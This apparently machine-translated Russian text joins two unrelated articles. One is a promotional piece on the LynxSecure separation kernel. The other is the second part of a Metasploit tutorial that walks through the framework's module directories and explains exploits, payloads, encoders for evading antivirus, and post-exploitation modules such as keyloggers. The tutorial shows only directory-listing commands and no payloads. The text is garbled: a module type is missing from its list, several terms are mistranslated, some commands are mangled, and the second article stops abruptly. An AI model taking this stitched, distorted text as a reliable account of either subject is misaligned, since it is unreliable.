После выполнения этих шагов просто нажмите кнопку, и наши инструменты скомпилируют все в специальный двоичный файл загрузчика, который мы называем пакетом системных ресурсов (SRP).SRP загружает целевой объект, программирует VT-x, EPT * , VT-d † и оборудование SR-IOV для создания ваших виртуальных машин, копирует образы ОС и запускает их. Чтобы загрузить образ SRP, его следует поместить в то же место, где будет размещен образ ядра Linux (то есть на USB-накопитель или жесткий диск для загрузки UEFI или syslinux, или скопировать во флэш-память, доступную через uboot, и т. Д.).
«Волшебство» происходит в инструменте LynxSecure, который генерирует SRP. Это специальный инструмент-генератор, который знает, как создать загрузчик, который при запуске на целевой машине настраивает любую допустимую комбинацию ядер, ОЗУ и устройств по вашему выбору — в виртуальные машины.Этот инструмент выполняет большую часть работы по инициализации, обычно выполняемой BSP ОСРВ. Концептуально это своего рода BSP-генератор, способный справиться с любой конфигурацией BSP. Инструмент LynxSecure SRP знает о конкретных SoC, таких как Xilinx Zynq UltraScale +, NXP S32V, LS1046A и T2080. Помимо целей Intel, которые в значительной степени совместимы, поддержка новой SoC является для нас тяжелой задачей.
СТРОИТЕЛЬНЫЕ СИСТЕМЫ НА LYNXSECUREКаковы практические последствия выбора LynxSecure для вашего проекта? Ядра разделения полагаются на передовое оборудование виртуализации, такое как VT-x, EPT * , VT-d † , и поэтому они доступны только на высокопроизводительных ЦП, созданных с учетом гипервизоров.Но, учитывая закон Мура на нашей стороне, доступно множество вариантов встроенных SoC. На Arm LynxSecure требует архитектуры Armv8-A, то есть варианта A (приложение) и R (в реальном времени) или M (микроконтроллер) версии v8. Ядра, которые используют Armv8-A, включают Cortex-A53 и Cortex-A72, используемые Xilinx, NXP и другими. Ядро PowerPC e6500 от NXP также оснащено передовым оборудованием для виртуализации и поддерживается.
ЯДРА РАЗДЕЛЕНИЯ: ОТКРЫТЫЙ СЕКРЕТ
Ядра разделения открывают совершенно новый мир свободы дизайна и гибкости для проектов.Они предоставляют важную возможность оказать большое влияние на программную архитектуру вашей встраиваемой системы. Эта концепция является надежной, публичной, зрелой и проверенной, но, как ни удивительно, остается в значительной степени неиспользованной. Ядро разделения особенно актуально сегодня, поскольку оно прекрасно подходит для многоядерных процессоров и процессоров с расширенными функциями аппаратной виртуализации. С разделительным ядром такой полнофункциональный процессор можно рассматривать как набор компонентов Lego, из которых возможны десятки комбинаций конфигураций виртуальных машин.Количество виртуальных машин и оборудование, которым каждый владеет, можно настроить в соответствии с желаемой архитектурой системы. Виртуальные машины можно рассматривать как виртуальные доски, чтобы обеспечить грубую консолидацию нескольких устаревших приложений на основе ОСРВ, или вы можете отправиться в город и определить десятки легких виртуальных машин, подключенных в длинную цепочку услуг, или любую комбинацию между ними. Ядра разделения позволяют эти варианты использования, потому что они более эффективны, чем другие гипервизоры. Они полагаются на оборудование, чтобы делать тяжелую работу и не навязывать своим пользователям вспомогательную ОСРВ.Их небольшая занимаемая площадь, низкие накладные расходы и статическая конфигурация хорошо согласуются с потребностями встроенных систем реального времени и систем, критичных к безопасности.
С разделительным ядром принципы проектирования MOSA могут быть расширены за пределы прикладного программного обеспечения на виртуальные машины и усилены путем обеспечения интерфейсов для этих виртуальных машин на оборудовании. Аппаратные ресурсы процессора могут быть надежно разделены на виртуальные машины с практически нулевыми накладными расходами, заполненные смесью операционных систем, ОСРВ и приложений без операционной системы от различных поставщиков. Это не только нарушает привязку к поставщику, но и поддерживает более широкий диапазон программных загрузок, от полной Linux до ОСРВ и приложений без операционной системы, и позволяет использовать комбинацию «Златовласки» из как раз достаточно для использования ОСРВ .
Могут быть созданы системы безопасности со смешанной критичностью, которые минимизируют большое количество строк исходного кода DAL (SLOC) для снижения затрат на сертификацию. Многоядерные системы безопасности могут быть построены с минимальными затратами для смягчения проблем с помехами, например, с конфигурацией виртуальной машины, использующей исключительно приложения без ОСРВ, без планировщика, без совместного использования ядра ЦП и без совместного использования устройств ввода-вывода.
Короче говоря, ядра разделения дают возможность выбора. Ни один поставщик, в том числе Lynx, не может предложить все варианты, и не все комбинации технологий подходят друг другу.Но то, что делает разделительное ядро, — это открывать двери и разрешать на больше комбинаций , чем раньше. Как специалист по встраиваемым системам это дает вам больше возможностей для выбора дизайна. Выбор быть более инновационным и возможность создать лучший продукт на вашем рынке в любом измерении, которое вы выберете — будь то размер, цена, гибкость, характеристики, ремонтопригодность, безопасность, безопасность или производительность. В вашем распоряжении множество вариантов дизайна, системных архитектур и программных компонентов.Убедитесь, что вы понимаете полную картину, чтобы не ограничивать свои возможности без надобности. Не берите случайно гипервизор, если бы разделительное ядро было лучше. Не торопитесь, исследуйте и оставляйте свои возможности открытыми, чтобы найти лучшую технологию для вашего проекта.
Читать: Как выбрать операционную систему реального времени (RTOS)
* Extended Page Tables
† Эквивалентные функции аппаратной виртуализации используются в Arm (EL2 и SMMU) и PowerPC (E.HV).
‡ За исключением самого ядра разделения
Metasploit, Часть 2: Типы модулей Metasploit
В моей первой статье из этой серии Metasploit я познакомил вас с некоторыми ключевыми командами, которые вам необходимо знать перед использованием Metasploit. В этой второй статье этой серии я хочу познакомить вас с различными типами модулей, имеющихся в Metasploit.
Когда вы запускаете Metasploit в msfconsole, вас приветствует открывающийся экран-заставка, подобный показанному ниже.
Обратите внимание, что в нижней части экрана интерактивная консоль открывается с MSF > , а чуть выше Metasploit перечисляет количество модулей по типу.Metasploit имеет семь (7) типов модулей. Эти;
(1) эксплойты
(2) полезные нагрузки
(3) вспомогательные
(4) энкодеры
(5) пост
(6) (7) evasion (новое в Metasploit 5)
Мы рассмотрим каждый из этих типов модулей, чтобы мы могли лучше использовать их в нашем пентестинге / взломе Metasploit.
Внутренняя архитектура Metasploit
Чем лучше вы понимаете Metasploit, тем продуктивнее вы будете с ним.Хотя для начала совершенно необязательно понимать внутреннюю архитектуру этого мощного инструмента, по мере вашего продвижения эти знания будут становиться все более полезными.
На схеме ниже визуально изображена архитектура Metasploit. А пока обратите внимание на интерфейсы справа и модули внизу
Модули Metasploit
Перед входом в msfconsole мы можем просмотреть архитектуру Metasploit из командной строки в нашей оболочке BASH.Давайте перейдем в каталог Metasploit в Kali, набрав;
kali> cd / usr / share / metasploit-framework
Затем сделайте длинный список в этом каталоге.
kali> ls -l
Как вы можете видеть выше, в этом каталоге есть несколько подкаталогов, но давайте пока сосредоточимся на каталоге modules . Перейдите к нему и сделайте длинный список.
kali> cd modules
kali> ls -l
Как вы можете видеть на скриншоте выше, каталог modules содержит шесть подкаталогов, каждый из которых содержит отдельный тип модуля.Мы можем открыть каждый из этих каталогов, чтобы найти каждый из отдельных типов модулей.
Эксплойты
Давайте начнем с эксплойтов, поскольку они, по сути, определяют эту структуру «эксплуатации». Эти модули представляют собой код, который был разработан для использования или «эксплуатации» недостатка или уязвимости в системе. Мы можем просмотреть эксплойты, перейдя в каталог эксплойтов и составив длинный список его содержимого.
kali> cd exploits
kali> ls -l
Как вы можете видеть выше, эти эксплойты разделены на подкаталоги в зависимости от операционной системы, для которой они предназначены.
Полезные нагрузки
Далее идут « полезные нагрузки ». Это то, что мы оставляем в эксплуатируемой системе, что позволяет нам подключаться к системе или «владеть» ею. В других средах, которые могут называться слушателями или, в некоторых случаях, руткитами (руткиты — это особый тип полезной нагрузки. Не все полезные нагрузки являются руткитами).
Давайте перейдем к этому каталогу и перечислим его содержимое.
kali> cd payloads
kali> ls -l
Выше видно, что полезные нагрузки подразделяются на три типа;
(1) одиночные
(2) ступени
(3) ступени
В моем следующем руководстве этой серии я подробно расскажу о различиях в каждом из этих типов полезной нагрузки, но пока , мы можем сказать, что сингла — это небольшой автономный код, предназначенный для выполнения какого-то одного действия, ступени реализуют канал связи, который можно использовать для доставки другой полезной нагрузки , которая может использоваться для управления целевой системой и, наконец, Этапы — это большие полезные данные, которые обеспечивают управление целью, например, Meterpreter и VNC.Мы предоставим более подробную информацию в третьей части этой серии Metasploit.
Вспомогательные
Вспомогательные модули — это модули, которые обеспечивают некоторые другие возможности, которые не вписываются в другие категории. К ним относятся такие вещи, как сканеры, фаззеры, модули DoS и т. Д. Это, пожалуй, самый быстрорастущий набор модулей, поскольку Metasploit продолжает расширяться до полномасштабной среды эксплуатации, которая обеспечивает возможности хакеров / пентестеров от А до Я.
Давайте перейдем к вспомогательному каталогу и сделаем длинный список его содержимого.
kali> cd a вспомогательный
kali> ls -l
Здесь мы видим, что вспомогательные модули подразделяются по их назначению и назначению. Обратите внимание на каталоги analysis , scanner и dos . Эти модули используются для анализа целевых систем, сканирования целевой системы и DoS атак на целевые системы соответственно.
Некоторые из этих модулей классифицируются по их целевым объектам, например каталоги docx , pdf и voip .
Кодеры
Модули кодировщика предназначены для перекодирования полезных данных и эксплойтов, чтобы они могли пройти через системы защиты безопасности, такие как AV и IDS.
Давайте перейдем к этому каталогу и просмотрим его содержимое с длинным списком.
kali> cd-кодеры
kali> ls -l
Кодировщики подразделяются по типу ЦП, например x64 , x86 , sparc , а также ppc и mips и mips по типу кода такой cmd и php .Очевидно, нам нужно использовать соответствующий кодировщик в зависимости от целевой системы.
Пост
Пост — сокращение от после эксплуатации . Это модули, которые используются после эксплуатации системы. Эти модули часто используются после того, как система перешла во владение и в системе запущен Meterpreter. Сюда могут входить такие модули , как клавиатурные шпионы, повышение привилегий, включение веб-камеры или микрофона и т. Д. Подробнее о постэксплуатации см. В части 15 этой серии.
Давайте перейдем в каталог сообщений и сделаем длинный список его содержимого.
kali> cd post
kali> ls -l
Как видите, эти модули разделены на целевые ОС.
NOPS
На машинном языке NOP — это сокращение от « n o op eration». Это заставляет ЦП системы ничего не делать в течение тактового цикла. Часто NOP необходимы для того, чтобы заставить систему запускать удаленный код после эксплойта переполнения буфера.Их часто называют «санками NOP». Эти модули используются в основном для создания саней NOP.
Давайте перейдем в каталог nops и сделаем длинный список его содержимого.